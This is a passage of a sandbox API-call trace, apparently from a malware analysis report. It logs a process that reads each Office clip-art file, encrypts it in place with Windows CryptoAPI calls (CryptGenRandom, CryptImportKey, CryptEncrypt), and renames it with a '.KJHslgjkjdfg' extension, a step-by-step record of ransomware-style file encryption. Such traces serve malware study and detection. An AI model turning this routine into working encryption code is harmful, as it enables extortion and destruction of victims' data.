pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.990] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.990] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2394, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2394, lpOverlapped=0x0) returned 1 [0197.991] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x23a0, dwBufLen=0x23a0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x23a0) returned 1 [0197.991] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.991] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x23a0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x23a0, lpOverlapped=0x0) returned 1 [0197.991] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.991] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2474, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.991] SetEndOfFile (hFile=0x130) returned 1 [0197.993] GetProcessHeap () returned 0x990000 [0197.993] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0197.993] GetProcessHeap () returned 0x990000 [0197.993] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0197.993] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187861.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187861.wmf.kjhslgjkjdfg")) returned 1 [0197.995] CloseHandle (hObject=0x130) returned 1 [0197.995] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a44, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187863.WMF", cAlternateFileName="")) returned 1 [0197.995] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0197.995] GetProcessHeap () returned 0x990000 [0197.995] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0197.995] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0197.996] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0197.996] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0197.998] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.998] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.998] GetProcessHeap () returned 0x990000 [0197.998] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0197.998] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0197.998] CryptDestroyKey (hKey=0x9b6628) returned 1 [0197.998] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0197.998] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0197.998] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0197.999] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0197.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0197.999] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0197.999] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0197.999] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0197.999] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0197.999] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x2a44, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x2a44, lpOverlapped=0x0) returned 1 [0198.000] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a50, dwBufLen=0x2a50 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x2a50) returned 1 [0198.000] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.000] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x2a50, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x2a50, lpOverlapped=0x0) returned 1 [0198.000] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.000] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2b24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.000] SetEndOfFile (hFile=0x130) returned 1 [0198.002] GetProcessHeap () returned 0x990000 [0198.002] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.002] GetProcessHeap () returned 0x990000 [0198.002] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187863.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187863.wmf.kjhslgjkjdfg")) returned 1 [0198.003] CloseHandle (hObject=0x130) returned 1 [0198.003] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56510d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1258, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187881.WMF", cAlternateFileName="")) returned 1 [0198.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.004] GetProcessHeap () returned 0x990000 [0198.004] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.004] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.004] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.004] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.008] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.008] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.008] GetProcessHeap () returned 0x990000 [0198.008] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.008] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.008] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.008] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.008] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.008] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.008] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.008] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.008] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.008] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.009] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.009] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.009] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1258, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1258, lpOverlapped=0x0) returned 1 [0198.010] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1260, dwBufLen=0x1260 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1260) returned 1 [0198.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.010] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1260, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1260, lpOverlapped=0x0) returned 1 [0198.010] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.010] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.010] SetEndOfFile (hFile=0x130) returned 1 [0198.013] GetProcessHeap () returned 0x990000 [0198.013] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.013] GetProcessHeap () returned 0x990000 [0198.013] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.013] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187881.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187881.wmf.kjhslgjkjdfg")) returned 1 [0198.014] CloseHandle (hObject=0x130) returned 1 [0198.014] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x834, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187883.WMF", cAlternateFileName="")) returned 1 [0198.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.016] GetProcessHeap () returned 0x990000 [0198.016] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.016] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.016] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.016] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0198.018] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.018] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.018] GetProcessHeap () returned 0x990000 [0198.018] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.018] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.018] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.018] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.018] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.018] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.019] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.019] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.019] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.019] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.019] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x834, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x834, lpOverlapped=0x0) returned 1 [0198.019] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x840, dwBufLen=0x840 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x840) returned 1 [0198.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.019] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x840, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x840, lpOverlapped=0x0) returned 1 [0198.019] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.019] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x914, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.019] SetEndOfFile (hFile=0x130) returned 1 [0198.022] GetProcessHeap () returned 0x990000 [0198.022] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.022] GetProcessHeap () returned 0x990000 [0198.022] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0198.022] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187883.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187883.wmf.kjhslgjkjdfg")) returned 1 [0198.023] CloseHandle (hObject=0x130) returned 1 [0198.024] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187893.WMF", cAlternateFileName="")) returned 1 [0198.024] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187893.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187893.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0198.024] GetProcessHeap () returned 0x990000 [0198.024] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0198.024] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0198.024] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0198.024] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0198.026] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.027] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.027] GetProcessHeap () returned 0x990000 [0198.027] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0198.027] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0198.027] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.027] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0198.027] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0198.027] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0198.027] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0198.027] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0198.027] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0198.027] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0198.027] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0198.027] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.027] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x15f4, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x15f4, lpOverlapped=0x0) returned 1 [0198.028] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1600, dwBufLen=0x1600 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1600) returned 1 [0198.028] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.029] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1600, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1600, lpOverlapped=0x0) returned 1 [0198.029] CryptDestroyKey (hKey=0x9b6628) returned 1 [0198.029] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x16d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0198.029] SetEndOfFile (hFile=0x130) returned 1 [0198.032] GetProcessHeap () returned 0x990000 [0198.032] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0198.032] GetProcessHeap () returned 0x990000 [0198.032] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 